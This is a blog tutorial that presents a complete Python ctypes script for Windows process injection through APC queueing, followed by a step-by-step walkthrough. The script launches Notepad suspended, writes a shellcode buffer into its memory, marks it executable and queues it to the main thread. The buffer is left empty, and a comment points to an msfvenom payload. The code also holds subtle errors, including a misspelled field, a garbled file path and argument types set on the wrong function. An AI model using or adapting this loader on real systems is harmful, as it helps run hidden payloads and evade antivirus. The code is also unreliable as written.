Exploring Windows Process Injection via APC Queueing in Python

January 13, 2025
Cybersecurity & HackingProcessInjectionShellcode

Windows Process Injection via APC Queueing in Python

This blog post explains a Windows process injection technique using Asynchronous Procedure Call (APC) queueing in Python, leveraging the ctypes module to access Windows APIs.

⚠️ Disclaimer: This content is for educational purposes only. Unauthorized use of this code may violate laws and system policies. Only use it in legal and controlled environments.

🔗 Check out the complete project on GitHub


🧠 What Is APC Queueing?

Asynchronous Procedure Call (APC) is a mechanism in Windows where functions can be queued to a thread and executed when the thread enters an alertable state. This technique can be used to inject and execute shellcode in a suspended process by queuing the malicious function and resuming the thread.


📦 Code

1from ctypes import *
2from ctypes import wintypes
3import subprocess
4
5
6kernell32 = windll.kernel32
7SIZE_T = c_size_t
8LPTSTR = POINTER(c_char)
9LPBYTE = POINTER(c_ubyte)
10
11
12VirtualAllocEx = kernell32.VirtualAllocEx
13VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD,wintypes.DWORD)
14VirtualAllocEx.restype = wintypes.LPVOID
15
16WritePrcessMemory = kernell32.WriteProcessMemory
17WritePrcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPVOID, SIZE_T, POINTER(SIZE_T))
18WritePrcessMemory.restype = wintypes.BOOL
19
20class _SECURITY_ATTRIBUTES(Structure):
21  _fields_ = [('nLength',wintypes.DWORD),
22              ('lpSecurityDescriptor', wintypes.LPVOID),
23              ('bInheritHandle', wintypes.BOOL),]
24  
25
26SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
27LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
28LPTHREAD_START_ROUTINE = wintypes.LPVOID
29
30CreateRemoteThread = kernell32.CreateRemoteThread
31CreateRemoteThread.argtypes = (wintypes.HANDLE,LPSECURITY_ATTRIBUTES, SIZE_T,LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
32CreateRemoteThread.restype = wintypes.HANDLE
33
34MEM_COMMIT = 0X00001000
35MEM_RESERVE = 0X00002000
36PAGE_READWRITE = 0X04
37EXECUTE_IMMEDIATELY = 0X0 
38PROCESS_ALL_ACCESS = (0X000F0000 | 0x00100000 | 0x00000FFF)
39
40VirtuallProtectEx = kernell32.VirtualProtectEx
41VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD)
42VirtuallProtectEx.restype = wintypes.BOOL
43
44class STARTUPINFO(Structure):
45	_fields_ = [
46("cb", wintypes.DWORD),
47("lpReserved",LPTSTR),
48("lpDesktop", LPTSTR),
49("lpTitle", LPTSTR),
50("dwX", wintypes.DWORD),
51("dxY", wintypes.DWORD),
52("dwXSize", wintypes.DWORD),
53("dwYSize", wintypes.DWORD),
54("dwXCountChars", wintypes.DWORD),
55("dwYCountChars", wintypes.DWORD),
56("dwFillAttribute", wintypes.DWORD),
57("dwFlags", wintypes.DWORD),
58("wShowWindow", wintypes.WORD),
59("cbReserved2", wintypes.WORD),
60("lpReserved2", LPBYTE),
61("hStdInput", wintypes.HANDLE),
62("hStdOutput", wintypes.HANDLE),
63("hStdError", wintypes.HANDLE),
64]
65
66
67class PROCESS_INFORMATION(Structure):
68    _fields_ = [
69("hProcess", wintypes.HANDLE),
70("hThread", wintypes.HANDLE),
71("dwProcessId", wintypes.DWORD),
72("dwThreadId", wintypes.DWORD),
73]
74
75
76CreateProcessA = kernell32.CreateProcessA
77CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID,wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION))
78CreateProcessA.restype = wintypes.BOOL
79
80#msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT=world -f py
81buf = ""
82
83def verify(x):
84    if not x:
85       raise WinError()
86
87startup_info = STARTUPINFO()
88startup_info.cb = sizeof(startup_info)
89
90startup_info.dwFlags = 1
91startup_info.wShowWindow = 1
92
93process_info = PROCESS_INFORMATION()
94
95CREATE_NEW_CONSOLE = 0x00000010
96CREATE_NO_WINDOW = 0x08000000
97CREATE_SUSPENDED = 0x00000004
98
99created = CreateProcessA(b"C:\WindowsSystem32
100otepad.exe", None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW , None, None, byref(startup_info), byref(process_info))
101
102verify(created)
103
104pid = process_info.dwProcessId
105h_process = process_info.hProcess
106thread_id = process_info.dwThreadId
107h_thread = process_info.hTread
108
109print("Started process => Handle:{}, PID:{}, TID:{}".format(h_process,pid, thread_id))
110
111remote_memory = VirtualAllocEx(h_process,False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
112verify(remote_memory)
113print("Memory allocated => ", hex(remote_memory))
114
115write = WritePrcessMemory(h_process, remote_memory, buf, len(buf), None)
116verify(write)
117print("Bytes Written => {}".format(len(buf)))
118
119PAGE_EXECUTE_READ = 0x20
120old_protection = wintypes.DWORD(0)
121protect = VirtuallProtectEx(h_process, remote_memory, len(buf),PAGE_EXECUTE_READ, byref(old_protection))
122verify(protect)
123print("Memory protection updated from {} to {}".format(old_protection.value, PAGE_EXECUTE_READ))
124
125#rthread = CreateRemoteThread(h_process, None, 0, remote_memory,None, EXECUTE_IMMEDIATELY, None)
126#verify(rthread)
127
128PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG))
129
130QueueUserAPC = kernell32.QueueUserAPC
131QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE,POINTER(wintypes.ULONG))
132QueueUserAPC.restype = wintypes.BOOL
133
134ResumeThread = kernell32.ResumeThread
135ResumeThread.argtypes = (wintypes.HANDLE, )
136ResumeThread.restype = wintypes.BOOL
137
138rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)
139verify(rqueue)
140print("Queueing APC thread => {}".format(h_thread))
141
142rthread = ResumeThread(h_thread)
143verify(rthread)
144print("Resuming thread!")

🛠️ Step by Step Code Walkthrough

🔹 1. Load Required Windows APIs

1from ctypes import *
2from ctypes import wintypes

We import ctypes to interact with Windows DLL functions, and wintypes for common Windows data types.

🔹 2. Define Function Prototypes

Functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread are declared with proper argument types using .argtypes and .restype.

1VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, c_size_t, wintypes.DWORD, wintypes.DWORD)
2VirtualAllocEx.restype = wintypes.LPVOID

🔹 3. Define Constants and Structures

Windows APIs require constants (e.g., MEM_COMMIT, PAGE_READWRITE) and structures (STARTUPINFO, PROCESS_INFORMATION) to be defined in order to interact with system-level functionality.

🔹 4. Prepare the Target Process

The CreateProcessA() function launches a suspended instance of Notepad:

1CreateProcessA(b"C:WindowsSystem32
2otepad.exe", ..., CREATE_SUSPENDED | CREATE_NO_WINDOW, ...)

This allows us to inject code before the process starts running.

🔹 5. Allocate Memory in the Remote Process

1remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)

This allocates memory in the suspended Notepad process where we’ll place our shellcode.

🔹 6. Inject the Shellcode

1write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None)

Here, buf should be a byte array (from msfvenom or similar) containing your shellcode.

🔹 7. Change Memory Permissions to Executable

1VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, ...)

After writing, we must mark the memory as executable using VirtualProtectEx.

🔹 8. Queue the Shellcode with APC

1QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None)

This tells Windows to run the shellcode the next time the suspended thread enters an alertable state.

🔹 9. Resume the Suspended Thread

1ResumeThread(h_thread)

Finally, we resume the thread, which triggers the shellcode via the APC queue.


🧠 Summary

This script:

  • Launches Notepad in a suspended state
  • Allocates memory
  • Injects and marks it executable
  • Queues a shellcode function as an APC
  • Resumes the thread to execute it

🔐 Important Notes

  • This technique is commonly used in red teaming, malware analysis, and Evasion research
  • Anti-virus and EDRs may detect or block these API calls
  • The script as written is for educational purposes — the shellcode buffer is empty (buf = ""), but in real use, you'd inject payloads from msfvenom or similar tools

✅ Tips for Safe Use

  • Only run this on lab environments
  • Log and analyze behavior with tools like Procmon or x64dbg
  • Study variations (e.g., CreateRemoteThread, NtQueueApcThread, etc.)